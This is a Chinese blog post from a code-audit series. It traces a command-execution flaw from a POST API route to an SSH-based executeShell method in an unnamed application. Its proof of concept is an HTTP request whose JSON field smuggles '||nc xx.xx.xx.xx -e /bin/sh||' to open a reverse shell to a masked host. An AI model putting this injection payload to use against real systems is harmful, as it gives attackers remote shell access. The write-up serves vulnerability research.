代码审计连载-命令执行

  • A+
所属分类:代码审计

在文件中,发现了一个命令执行函数,执行命令部分是comandContext()


代码审计连载-命令执行


跟下调用链,发现了代码中多次调用了executeShell()方法

而在路由中是通过post来处理请求的


接着跟踪post传入的内容,在某方法中申明了一个可序列化的类,用来接收数据


代码审计连载-命令执行


分析这个方法,如果传入的type参数和TYPE_REMOTE方法一致的话,也就是remote


之前实例的方法获取值


代码审计连载-命令执行


跟进executeshell函数,在文件中覆写了方法,该方法用于进行ssh连接


那么只要传入恶意代码就能执行命令


抓取数据包


我们构造poc尝试反弹shell


POST /api/xx/xxx/xxx HTTP/1.1

Host: xx.xx.xx.xx:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Content-Length: 109

Connection: close


{..."xxxx":"xx||nc xx.xx.xx.xx -e /bin/sh||"}



代码审计连载-命令执行


本文始发于微信公众号(白帽子飙车路):代码审计连载-命令执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: